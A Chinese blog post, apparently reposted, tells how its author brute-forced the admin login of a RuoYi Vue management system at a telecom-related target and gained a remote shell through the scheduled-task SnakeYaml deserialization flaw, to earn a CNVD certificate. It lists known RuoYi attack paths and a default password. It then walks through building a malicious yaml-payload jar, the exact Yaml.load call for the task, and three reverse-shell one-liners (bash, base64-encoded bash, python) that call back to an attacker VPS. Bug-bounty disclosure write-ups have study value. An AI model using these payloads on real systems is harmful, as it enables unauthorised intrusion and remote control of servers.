记录一次cnvd事件型证书漏洞挖掘

事件起因是因为要搞毕设了，在为这个苦恼，突然负责毕设的老师说得到cnvd下发的证书结合你的漏洞挖掘的过程是可以当成毕设的，当时又学习了一段时间的web渗透方面的知识，于是踏上了废寝忘食的cnvd证书漏洞挖掘的日子。

前言：听群友们说，一般可以获得cnvd事件型的证书要三大运营商、铁塔的漏洞，而且必须要高危的漏洞才可以获得证书，低危和中危都没有证书，交上去只能得到cnvd的漏洞编号，于是就朝着三大运营商、铁塔的高危漏洞去挖掘。

一、信息收集

信息收集的目的是了解目标的基本情况，包括网络拓扑结构、系统架构、运行的服务和应用程序、已知漏洞、潜在安全风险等。通过信息收集，渗透测试人员可以获得对目标的深入了解，从而确定可能的攻击矢量和漏洞利用路径，为后续的渗透测试工作做准备。

1、我一般先用奇安信的鹰图平台，使用里面搜索引擎的特定的语法搜索我要找的单位名或者关键字，精准定位。

鹰图平台：https://hunter.qianxin.com/

经过一段时间的换各种关键字的搜索，终于发现了一个看着系统界面比较眼熟的界面，原谅我的厚码。

image-20240410182714563

看着大概率是若依框架。

image-20240410193209229

确定为vue前后端分离的若依管理系统。

image-20240410191843884

二、历史漏洞分析

确定了这个系统是基于SpringBoot，Spring Security，JWT，Vue & Element 的前后端分离权限管理系统。

这是我第一次挖掘关于若依vue框架的系统，以前遇到的都是基于SpringBoot的权限管理系统，核心技术采用Spring、MyBatis、Shiro。

让我们先来看看若依的历史漏洞和解析：
若依框架是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。若依框架漏洞默认口令漏洞早期若依框架漏洞版本有反序列化漏洞 ，执行任意命令。

若依后台管理系统是基于SpringBoot、Spring Security、JWT、Vue & Element 的前后端分离权限管理系统，可用于包含网站管理后台、网站会员中心、CMS、CRM、OA等、的Web应用程序。若依后台管理系统存在未授权访问和文件上传高危漏洞，攻击者可利用该漏洞获取服务器控制权。

帮助网安学习，全套资料S信免费领取：
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

比较常见的历史漏洞：

1、前端存储账号密码或默认弱口令
admin/admin123

2、Druid页面未授权访问

http://xxx//prod-api/druid/index.html

http://xxx//dev-api/druid/index.html

http://xxx//api/druid/index.html

http://xxx//admin/druid/index.html

http://xxx//admin-api/druid/index.html

3、后台任意文件读取
http://xxx/common/download/resource?resource/profile/…/…/…/…/etc/passwd

4、后台SQL注入
漏洞位置在"系统管理"里中的"角色管理中"
http://xxxxxxx/system/role/list
http://xxxxxxx/system/dept/edit
http://xxxxxxx/system/role/export
http://xxxxxxx/tool/gen/createTable

5、shiro反序列化

若依管理系统使用了Apache Shiro，Shiro 提供了记住我（RememberMe）的功能，下次访问时无需再登录即可访问。系统将密钥硬编码在代码里，且在官方文档中并没有强调修改该密钥，导致框架使用者大多数都使用了默认密钥。

攻击者可以构造一个恶意的对象，并且对其序列化、AES加密、base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞，进而在目标机器上执行任意命令。

众所周知的，网上大把工具撸就完事了
https://github.com/SummerSec/ShiroAttack2

6、SnakeYaml组件漏洞-定时任务-RCE

定时任务对于传入的"调用目标字符串"没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。

RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。
漏洞点在后台 系统监控 > 定时任务 处，可以调用类的方法

系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务

首先会获取需要执行的目标，即我们的 payload，再获取实例名和方法名以及方法参数

然后判断实例名是否是 带完全包名称的类名，如果不是的话，则调用 SpringUtils.getBean(beanName) 获得实例；如果是的话，则使用 Class.forName(beanName).newInstance() 获得实例

最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用

public static void invokeMethod(SysJob sysJob) throws Exception  
    {  
        String invokeTarget \= sysJob.getInvokeTarget();  
        String beanName \= getBeanName(invokeTarget);      
        String methodName \= getMethodName(invokeTarget);  
        List<Object\[\]> methodParams \= getMethodParams(invokeTarget);  

        if (!isValidClassName(beanName))  
        {  
            Object bean \= SpringUtils.getBean(beanName);  
            invokeMethod(bean, methodName, methodParams);  
        }  
        else  
        {  
            Object bean \= Class.forName(beanName).newInstance();  
            invokeMethod(bean, methodName, methodParams);  
        }  
    }

image-20240411021711415

跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法，然后通过反射执行方法。

image-20240410235532321

当我们传入的类名为完全包名称，需要满足三个条件才能正常使用

  • 具有无参构造方法
  • 调用的方法需要是类自身声明的方法，不能是他的父类方法
  • 构造方法和调用的方法均为 public

而 org.yaml.snakeyaml.Yaml 是符合这些条件的，我们可以利用这个点去触发 SnakeYaml 反序列化漏洞。

三、正戏开始

要获得证书就得要挖掘到高危的漏洞，若依vue框架是没有shiro反序列化的，所以得进入后台去挖掘定时任务的RCE。

1、回到之前的找到若依的登录框，上来肯定是试一试默认的弱口令admin123。
不出意外密码错误了

image-20240411004834079

2、测试了一下，没有密码输入错误次数上限，就是输入错多少次都可以，也没有验证码验证登录，不用多说了，爆破启动！！！

抱着试一试的态度，没想到真滴爆出来了

image-20240411005545552

image-20240411005313890

毕竟是第一次打若依vue框架的，我就把上面提到的漏洞都测试了一遍，没一个成功的（除了定时任务-RCE的漏洞没测试）。。。。。

3、我先去网上浏览一阵子的若依后台定时任务调用类的方法RCE的文章，开搞！！！

首先先去Github上面找到大佬写好的项目生成恶意jar包：https://github.com/artsploit/yaml-payload
先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令

修改AwesomeScriptEngineFactory.java格式：

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1"});

image-20240411010753502

在yaml-payload-master文件夹目录下编译AwesomeScriptEngineFactory.java文件

javac .\src\artsploit\AwesomeScriptEngineFactory.java

image-20240411013118170

得到编译好的AwesomeScriptEngineFactory.class文件

image-20240411013245721

把src目录打包成yaml-payload.jar文件

jar -cvf yaml-payload.jar -C .\src\ .

image-20240411013415458

image-20240411013519862

把打包好的yaml-payload.jar上传到vps上面，使用python命令开启临时的http网站：``python -m SimpleHTTPServer 8880`

image-20240411015345527

测试访问vps开启的网站

image-20240411014255528

在vps上面使用nc监听设定的端口，反弹shell

image-20240411014341774

回到若依系统后台，使用爆破出来的账号密码登录，进入系统监控–>定时任务–>新增，添加计划任务。

image-20240411014611519

调用方法也没有什么限制，可以直接使用http。
任务名随便写，调用方法：
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager \[ !!java.net.URLClassLoader \[\[ !!java.net.URL \["http://httpIP/yaml-payload.jar"\] \]\] \]')

cron表达式：
0/10 \* \* \* \* ?

点击确定

image-20240411014912158

在多执行几次刚刚设置好的定时任务

image-20240411015055662

在我满心欢喜的以为成功的时候，现实却给我当头一棒，nc监听一直没有动静，啊啊啊啊啊啊啊啊啊。。。。。
又去多执行了几次也没有反弹到shell

image-20240411015148329

去看刚刚vps使用python开启的http，没有访问响应gg。

image-20240411015225815

想了想会不会是命令被系统拦截了或者是AwesomeScriptEngineFactory.java文件里面的命令错误执行不了。
于是又去换了一种方式的反弹shell命令

重新修改AwesomeScriptEngineFactory.java格式：
使用base64编码这个命令：bash -i >& /dev/tcp/vpsIP/vps监听端口 0>&1
base64编码后的命令：YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==
AwesomeScriptEngineFactory.java格式：
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNJUC92cHPnm5HlkKznq6/lj6MgMD4mMQ==}|{base64,-d}|{bash,-i}");

image-20240411005906415

再按照上面的方法编译一遍，然后再打包成jar文件，再次上传到vps里面，把之前的删掉。

返回到若依管理系统，再次执行几次定时任务，不用更改。。。让命令飘一会。

pleasantly surprised。。。。gg了。

image-20240411015743020

四、柳暗花明

我以为要下播的时候，去上了个厕所。。。。回来突然有灵感想到可不可以使用python命令来执行反弹shell命令呢，现在的服务器linux服务器基本都是自带python的，说干就干。

继续修改AwesomeScriptEngineFactory.java文件
使用python的特性构造payload，修改的格式：
Runtime.getRuntime().exec(new String\[\]{"python","-c","import os,socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(('vpsIP',vps监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\['/bin/bash','-i'\]);"});

如下图：

image-20240411015930186

继续执行之前的步骤，按照上面的方法编译一遍，然后再打包成jar文件，再次上传到vps里面，把之前的删掉。

回到若依管理系统继续执行我们写入的定时任务。

结果
芜湖！！！成功成功。

image-20240411020102737

咱也不知道为什么。没拦截python？

最后也是通过了cnvd的事件型高危

image-20240411022255587

漏洞已上报厂家，厂家已修复。

修复建议：
升级Ruoyi至最新版本。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/671909.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

动态规划算法：背包问题

动态规划算法：背包问题

背包问题概述 背包问题 (Knapsack problem) 是⼀种组合优化的 NP完全问题 。 问题可以描述为&#xff1a;给定⼀组物品&#xff0c;每种物品都有⾃⼰的重量和价格&#xff0c;在限定的总重量内&#xff0c;我们如何选择&#xff0c;才能使得物品的总价格最⾼。 根据物品的个…
阅读更多...
vector实现后半部分

vector实现后半部分

一.迭代器失效 1.定义 指原迭代器在扩容/缩容/修改后指向无效元素或无效地址处 erase的迭代器失效 2.原因&#xff1a; 1.有的编译器实现erase会缩容拷贝 2.删除最后一个后&#xff0c;其指向无效元素 VS中不允许再次使用erase完的迭代器&#xff0c;为了让编写的代码移植…
阅读更多...
32位与64位程序下函数调用的异同——计科学习中缺失的内容

32位与64位程序下函数调用的异同——计科学习中缺失的内容

前言 今天&#xff0c;通过一个有趣的案例&#xff0c;从反编译的角度看一下C语言中函数参数是如何传递的。 创建main.c文件&#xff0c;将下面实验代码拷贝到main.c文件中。 # main.c #include <stdio.h>int test(int a, int b, int c, int d, int e, int f, int g, …
阅读更多...
浔川python社获得全网博主原力月度排名泸州地区第二名！

浔川python社获得全网博主原力月度排名泸州地区第二名！

今日&#xff0c;浔川python社在查看全网博主原力月度排名泸州地区时&#xff0c;一看就震惊啦&#xff01; 全网博主原力月度排名泸州地区排名榜单 全网博主原力月度排名泸州地区第二名为&#xff1a;浔川python社。 感谢粉丝们的支持&#xff01;浔川python社还会继续努力&a…
阅读更多...
ubuntu--Linux使用

ubuntu--Linux使用

Linux使用 Linux 系统简介 linux Linux 就是一个操作系统&#xff0c;与 Windows 和 Mac OS 一样是操作系统 。 操作系统在整个计算机系统中的角色 : Linux 主要是 系统调用 和 内核 那两层。使用的操作系统还包含一些在其上运行的应用程序&#xff0c;比如vim、google、vs…
阅读更多...
Glow模型【图解版加代码】

Glow模型【图解版加代码】

论文&#xff1a;Glow: Generative Flow with Invertible 1x1 Convolutions 代码&#xff1a;pytorch版本&#xff1a;rosinality/glow-pytorch: PyTorch implementation of Glow (github.com) 正版是TensorFlow版本 openai的 参考csdn文章&#xff1a;Glow-pytorch复现gith…
阅读更多...
spoon工具的常用基础操作

spoon工具的常用基础操作

一些常用转换工具 1、emp表输入->excel表输出 emp表输入&#xff0c;可以进行预览查看数据有没有过来excel表输出 成功执行后&#xff0c;可以到保存的excel位置进行查看。 2、excel输入->表输出 运行转换后可以在oracle进行查看是否有成功创建这个表 3、对部门最高…
阅读更多...
十_信号11 - 函数sigsetjmp() 和 siglongjmp()

十_信号11 - 函数sigsetjmp() 和 siglongjmp()

也就是说&#xff0c;正常情况下&#xff0c;当捕捉到一个信号&#xff0c;并调用该信号的信号处理程序时&#xff0c;被捕捉的信号会被加入到当前进程的信号屏蔽字中&#xff0c;以防止在本次信号处理程序还没有完成的时候&#xff0c;再次触发该信号&#xff0c; 发生重入。 …
阅读更多...
罕见！史诗级“大堵船”

罕见！史诗级“大堵船”

新加坡港口的停泊延误时间已延长至7天&#xff0c;积压的集装箱数量达到惊人的450000标准箱&#xff0c;远超新冠疫情暴发时期的数轮高点。业内认为&#xff0c;近期东南亚恶劣的天气情况加剧了该区域港口拥堵。 5月31日&#xff0c;上海航运交易所&#xff08;下称“航交所”…
阅读更多...
针对硅基氮化镓高电子迁移率晶体管(GaN-HEMT)的准物理等效电路模型，包含基板中射频漏电流的温度依赖性

针对硅基氮化镓高电子迁移率晶体管(GaN-HEMT)的准物理等效电路模型，包含基板中射频漏电流的温度依赖性

来源&#xff1a;Quasi-Physical Equivalent Circuit Model of RF Leakage Current in Substrate Including Temperature Dependence for GaN-HEMT on Si&#xff08;TMTT 23年&#xff09; 摘要 该文章提出了一种针对硅基氮化镓高电子迁移率晶体管&#xff08;GaN-HEMT&…
阅读更多...
【算法】理解堆排序

【算法】理解堆排序

堆排序&#xff0c;无疑与堆这种数据结构有关。在了解堆排序之前&#xff0c;我们需要先了解堆的建立与维护方法。 堆 堆&#xff08;二插堆&#xff09;可以用一种近似的完全二叉树来表示&#xff0c;该二叉树除了叶子结点之外&#xff0c;其余节点均具有两个子女&#xff0c…
阅读更多...
HCIP--RIP协议的实验 + RIP笔记

HCIP--RIP协议的实验 + RIP笔记

RIP实验&#xff1a; 实验思路&#xff1a; 1.规划IP&#xff0c;配置环回&#xff0c;接口IP 2.在3个路由器上跑通rip; 2.在边界路由器上用rip协议 设置缺省路由&#xff1b; [r3]rip [r3-rip-1]default-route originate 3.在r1、r2的主干接口上设置路由汇总 RIPV2手工汇…
阅读更多...
MySQL数据库的约束

MySQL数据库的约束

MySQL对于数据库存储的数据, 做出一些限制性要求, 就叫做数据库的"约束". 在每一列的 列名, 类型 后面加上"约束". 一. not null (非空) 指定某列不能存储null值. 二. unique (唯一) 保证这一列的每行必须有唯一值. 我们可以看到, 给 table 的 sn 列插…
阅读更多...
Ubuntu系统配置DDNS-GO【笔记】

Ubuntu系统配置DDNS-GO【笔记】

DDNS-GO 是一个基于 Go 语言的动态 DNS (DDNS) 客户端&#xff0c;用于自动更新你的 IP 地址到 DNS 记录上。这对于经常变更 IP 地址的用户&#xff08;如使用动态 IP 的家庭用户或者小型服务器&#xff09;非常有用。 此文档实验环境为&#xff1a;ubuntu20.04.6。 在Ubuntu…
阅读更多...
基于Django的博客系统之登录增加忘记密码（八）

基于Django的博客系统之登录增加忘记密码（八）

需求 描述&#xff1a; 用户忘记密码时&#xff0c;提供一种重置密码的方法&#xff0c;以便重新获得账户访问权限。规划&#xff1a; 创建一个包含邮箱输入字段的表单&#xff0c;用于接收用户的重置密码请求。用户输入注册时使用的邮箱地址&#xff0c;系统发送包含重置密码…
阅读更多...
量产导入 | 芯片测试介绍可靠性测试

量产导入 | 芯片测试介绍可靠性测试

作者：桃芯科技链接：https://picture.iczhiku.com/weixin/message1583129221975.html半导体芯片的defects、Faults 芯片在制造过程中，会出现很多种不同类型的defects,比如栅氧层针孔、扩散工艺造成的各种桥接、各种预期外的高阻态、寄生电容电阻造成的延迟等等,如下面图（1）…
阅读更多...
Spring高手之路19——Spring AOP注解指南

Spring高手之路19——Spring AOP注解指南

文章目录 1. 背景2. 基于AspectJ注解来实现AOP3. XML实现和注解实现AOP的代码对比4. AOP通知讲解5. AOP时序图 1. 背景 在现代软件开发中&#xff0c;面向切面编程&#xff08;AOP&#xff09;是一种强大的编程范式&#xff0c;允许开发者跨越应用程序的多个部分定义横切关注点…
阅读更多...
数据隐私重塑：Web3时代的隐私保护创新

数据隐私重塑：Web3时代的隐私保护创新

随着数字化时代的不断深入&#xff0c;数据隐私保护已经成为了人们越来越关注的焦点之一。而在这个数字化时代的新篇章中&#xff0c;Web3技术作为下一代互联网的代表&#xff0c;正在为数据隐私保护带来全新的创新和可能性。本文将深入探讨数据隐私的重要性&#xff0c;Web3时…
阅读更多...
解锁数据宝藏：高效查找算法揭秘

解锁数据宝藏：高效查找算法揭秘

代码下载链接&#xff1a;https://gitee.com/flying-wolf-loves-learning/data-structure.git 目录 一、查找的原理 1.1 查找概念 1.2 查找方法 1.3平均查找长度 1.4顺序表的查找 1.5 顺序表的查找算法及分析 1.6 折半查找算法及分析 1.7 分块查找算法及分析 1.8 总结…
阅读更多...
很多人讲不明白HTTPS，但是我能

很多人讲不明白HTTPS，但是我能

很多人讲不明白HTTPS&#xff0c;但是我能 今天我们用问答的形式&#xff0c;来彻底弄明白HTTPS的过程 下面的问题都是 小明和小丽两个人通信为例 可以把小明想象成服务端&#xff0c;小丽想象成客户端 1. https是做什么用的&#xff1f; 答&#xff1a;数据安全传输用的。…
阅读更多...
最新文章

Copyright @ 2022~2023